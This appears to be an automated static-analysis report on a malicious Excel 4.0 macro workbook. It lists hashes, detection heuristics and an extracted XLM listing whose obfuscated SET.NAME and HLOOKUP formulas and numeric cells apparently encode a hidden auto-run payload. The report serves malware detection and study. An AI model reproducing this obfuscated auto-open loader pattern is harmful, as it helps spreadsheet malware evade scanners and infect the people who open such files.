Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5b1e3b3ae6dd8602…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:23 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: dcf2bfb22d4d3f274cb19593d18a44f0 SHA-1: 74162390dce268ee827e65f445eaa5e0e14bdd76 SHA-256: 5b1e3b3ae6dd8602ba1ec243a9a5cc0a4371398a9ccff209534933ee18989087
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6917 bytes
SHA-256: 74663a2cdbcc48e3316e0363f58f0aa785c6f7d6fc707b1d8438a211559bb6c8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OXPIKgPxAm
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E189 
' 0018     20 LABEL : Cell Value, String Constant - BvEUw len=0 
' 0018     21 LABEL : Cell Value, String Constant - eEFZfS len=0 
' 0018     23 LABEL : Cell Value, String Constant - HXNntTUH len=0 
' 0018     22 LABEL : Cell Value, String Constant - JiOZGBg len=0 
' 0018     23 LABEL : Cell Value, String Constant - jXwxiUfb len=0 
' 0018     26 LABEL : Cell Value, String Constant - kIMEyZNPdqu len=0 
' 0018     24 LABEL : Cell Value, String Constant - LnOFNnnRV len=0 
' 0018     22 LABEL : Cell Value, String Constant - mGRQcro len=0 
' 0018     25 LABEL : Cell Value, String Constant - OSMDFdZSKZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - OygfItcDggoa len=0 
' 0018     23 LABEL : Cell Value, String Constant - QNMiVzRH len=0 
' 0018     27 LABEL : Cell Value, String Constant - suAgYFGTYwkR len=0 
' 0018     24 LABEL : Cell Value, String Constant - TDKPDAcsy len=0 
' 0018     27 LABEL : Cell Value, String Constant - UnTGRINXDKHF len=0 
' 0018     26 LABEL : Cell Value, String Constant - uRthVIIbpks len=0 
' 0018     23 LABEL : Cell Value, String Constant - vhUeGAYU len=0 
' 0018     24 LABEL : Cell Value, String Constant - xCaxMoIdK len=0 
' 0018     21 LABEL : Cell Value, String Constant - YuFhkV len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZBGzxeIvhj len=0 
' 0018     23 LABEL : Cell Value, String Constant - zOGikAyf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OXPIKgPxAm,S70,"",-344.00000000000000000000
'  OXPIKgPxAm,S71,"",-453.00000000000000000000
'  OXPIKgPxAm,S72,"",-681.00000000000000000000
'  OXPIKgPxAm,S73,"",-624.00000000000000000000
'  OXPIKgPxAm,S74,"",728.00000000000000000000
'  OXPIKgPxAm,S75,"",-122.00000000000000000000
'  OXPIKgPxAm,E93,"SET.NAME("vhUeGAYU",0+VALUE("0"))",""
'  OXPIKgPxAm,E95,"SET.NAME("xCaxMoIdK",vhUeGAYU)",""
'  OXPIKgPxAm,E98,"SET.NAME("mGRQcro",vhUeGAYU)",""
'  OXPIKgPxAm,E102,"SET.NAME("JiOZGBg",COUNTA(OygfItcDggoa))",""
'  OXPIKgPxAm,E107,"SET.NAME("jXwxiUfb",COUNTA(kIMEyZNPdqu))",""
'  OXPIKgPxAm,E112,[],""
'  OXPIKgPxAm,E117,"SET.NAME("LnOFNnnRV","")",""
'  OXPIKgPxAm,E121,"xCaxMoIdK",""
'  OXPIKgPxAm,E124,"SET.NAME("uRthVIIbpks",HLOOKUP("*",OygfItcDggoa,xCaxMoIdK,FALSE))",""
'  OXPIKgPxAm,E129,"suAgYFGTYwkR",""
'  OXPIKgPxAm,E132,"SET.NAME("TDKPDAcsy",vhUeGAYU)",""
'  OXPIKgPxAm,E135,[],""
'  OXPIKgPxAm,E139,"TDKPDAcsy",""
'  OXPIKgPxAm,E141,"ZBGzxeIvhj",""
'  OXPIKgPxAm,E144,"zOGikAyf",""
'  OXPIKgPxAm,E149,"eEFZfS",""
'  OXPIKgPxAm,E152,"SET.NAME("HXNntTUH",VALUE(HLOOKUP("*",kIMEyZNPdqu,eEFZfS,FALSE)))",""
'  OXPIKgPxAm,E156,"OSMDFdZSKZ",""
'  OXPIKgPxAm,E160,"LnOFNnnRV",""
'  OXPIKgPxAm,E163,"mGRQcro",""
'  OXPIKgPxAm,E167,NEXT(),""
'  OXPIKgPxAm,E169,"QNMiVzRH",""
'  OXPIKgPxAm,E171,[],""
'  OXPIKgPxAm,E176,"BvEUw",""
'  OXPIKgPxAm,E181,NEXT(),""
'  OXPIKgPxAm,E184,RETURN(),""
'  OXPIKgPxAm,E210,"SET.NAME("UnTGRINXDKHF",E93)",""
'  OXPIKgPxAm,E214,"OygfItcDggoa",""
'  OXPIKgPxAm,E219,"SET.NAME("kIMEyZNPdqu",R58C13)",""
'  OXPIKgPxAm,E224,"SET.NAME("BvEUw",234)",""
'  OXPIKgPxAm,E228,"SET.NAME("YuFhkV",5)",""
'  OXPIKgPxAm,E233,UnTGRINXDKHF(),""
'  OXPIKgPxAm,E234,HALT(),""